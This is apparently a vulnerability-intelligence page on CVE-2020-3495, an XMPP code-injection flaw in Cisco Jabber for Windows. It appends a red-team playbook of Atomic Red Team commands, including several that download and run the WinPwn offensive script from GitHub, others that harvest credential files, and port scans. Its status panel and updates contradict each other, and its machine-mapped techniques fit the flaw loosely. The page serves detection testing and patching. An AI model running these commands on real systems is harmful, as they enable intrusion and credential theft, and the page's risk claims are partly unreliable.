CVE-2020-3495

HIGH Pub 04/09 Upd 13/11

Overview

This vulnerability is a code injection flaw caused by improper validation of message contents within the Extensible Messaging and Presence Protocol (XMPP) handling component of Cisco Jabber for Windows. The root cause lies in the insufficient sanitization of incoming XMPP messages, allowing crafted input to be interpreted as executable commands by the application. The affected component is the message processing subsystem of the Cisco Jabber client software on Windows platforms.

Vulnerability Description

A vulnerability in Cisco Jabber for Windows could allow an authenticated, remote attacker to execute arbitrary code. The vulnerability is due to improper validation of message contents. An attacker could exploit this vulnerability by sending specially crafted Extensible Messaging and Presence Protocol (XMPP) messages to the affected software. A successful exploit could allow the attacker to cause the application to execute arbitrary programs on the targeted system with the privileges of the user account that is running the Cisco Jabber client software, possibly resulting in arbitrary code execution.

Impact

An attacker with valid authentication and network access can exploit this vulnerability to execute arbitrary programs on the targeted system with the privileges of the user running Cisco Jabber. This enables potential data compromise, unauthorized system control, and lateral movement within an enterprise environment. The attack vector requires sending crafted XMPP messages over the network to the client, with no user interaction needed. The CVSS vector indicates low attack complexity and privileges required but no user interaction, emphasizing the ease of exploitation in an authenticated context.

Solution

Cisco has released security updates addressing this vulnerability in Cisco Jabber for Windows as detailed in their advisory at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-jabber-UyTKCPGg. Administrators should apply the provided patches to all affected versions of Cisco Jabber promptly. The advisory includes specific version updates and recommended upgrade procedures to mitigate the issue. No alternative workarounds are specified beyond applying the official patches.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A significant vulnerability exists within Cisco Jabber for Windows, primarily stemming from improper validation of message contents. This flaw allows an authenticated remote attacker to send specially crafted Extensible Messaging and Presence Protocol (XMPP) messages to the application. The lack of stringent validation mechanisms means that these messages can be manipulated to execute arbitrary code on the targeted system. When exploited, the attacker can run programs with the same privileges as the user account operating the Cisco Jabber client, leading to severe security breaches and potential system compromise.

The attack vector for this vulnerability is primarily through the XMPP messaging protocol, which is widely used for real-time communication in Cisco Jabber. An attacker, having gained access to the network and authenticated user credentials, can send malicious messages that the application fails to properly validate. This exploitation could occur in various scenarios, such as during a corporate meeting where sensitive discussions take place, or in a collaborative environment where multiple users interact. The ability to execute arbitrary code means that attackers could install malware, exfiltrate sensitive data, or even pivot to other systems within the network, amplifying the risk of a broader compromise.

The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Cisco Jabber for communication. The potential for arbitrary code execution can lead to significant business risks, including data breaches, loss of intellectual property, and damage to reputation. Furthermore, the exploitation of this vulnerability could result in operational disruptions, as attackers may deploy ransomware or other malicious payloads that could cripple business operations. The financial implications of such incidents can be severe, with costs associated with remediation, legal liabilities, and regulatory fines potentially reaching millions of dollars.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular updates and patches from Cisco should be applied promptly to ensure that the software is protected against known vulnerabilities. Additionally, network segmentation can help limit the potential impact of an exploit by isolating critical systems from less secure environments. Monitoring network traffic for unusual XMPP messages or patterns can also aid in early detection of attempted exploitation. User education is vital, as training employees to recognize phishing attempts or suspicious communications can reduce the likelihood of successful attacks.

In conclusion, the vulnerability in Cisco Jabber for Windows poses a significant threat to organizations that utilize this communication tool. Its potential for arbitrary code execution, coupled with the ease of exploitation through XMPP messages, underscores the need for robust security measures. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems against this and similar vulnerabilities, thereby protecting their sensitive information and maintaining operational integrity.




CSURFACE threat intelligence has identified a slight increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2020-3495, rising by approximately 11%. While no new exploit techniques or active campaigns have been detected by our telemetry, this upward adjustment reflects a modestly heightened likelihood of exploitation in the near term. The EPSS percentile now places this vulnerability closer to the upper decile of predicted exploitation risk, signaling that threat actors may be increasingly considering it within their attack repertoire. Although the exploit landscape remains stable without emergent proof-of-concept exploits or widespread abuse, the incremental rise in EPSS underscores the need for continued vigilance. For defenders, this change suggests a subtle shift in the threat calculus, where the vulnerability’s potential impact remains high and the probability of exploitation is incrementally growing. Consequently, the overall risk level should be viewed as slightly elevated, warranting sustained monitoring to detect any emergent exploitation trends promptly.



Update 2 — July 25, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-3495, with our telemetry indicating new instances of exploitation attempts targeting Cisco Jabber for Windows. While the overall exploit landscape remains unchanged with no new proof-of-concept exploits publicly disclosed, the incremental rise in the Exploit Prediction Scoring System (EPSS) score, coupled with the emergence of fresh attack attempts, signals a subtle but meaningful shift in adversary behavior. This development suggests that threat actors are increasingly probing this vulnerability, potentially integrating it into their operational toolkits despite the absence of widespread exploitation campaigns. For defenders, this trend elevates the urgency of maintaining heightened situational awareness and reinforces the necessity of continuous monitoring to detect any escalation in exploitation frequency or sophistication. Consequently, the risk level associated with CVE-2020-3495 should be considered moderately elevated, reflecting the growing likelihood of targeted attacks exploiting this vector in the near term.

Affected Products (6)

Vendor Product Version CPE
cisco Cisco Jabber All cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
cisco Cisco Jabber All cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
cisco Cisco Jabber All cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
cisco Cisco Jabber All cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
cisco Cisco Jabber All cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*
cisco Cisco Jabber All cpe:2.3:a:cisco:jabber:*:*:*:*:*:windows:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

3 events
2026-07-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Improper Input Validation
65% input_validation
OS Command Injection
55% command_injection
Buffer Overflow
46% buffer_overflow
Remote Code Execution
45% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-101 Server Side Include (SSI) Injection
54%
High High
CAPEC-14 Client-side Injection-induced Buffer Overflow
51%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
51%
Medium High
CAPEC-135 Format String Injection
51%
High High
CAPEC-88 OS Command Injection
51%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-3495
tools.cisco.com
GitHub CVE vendor-advisory x_refsource_CISCO
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-jabber-UyTKCPGg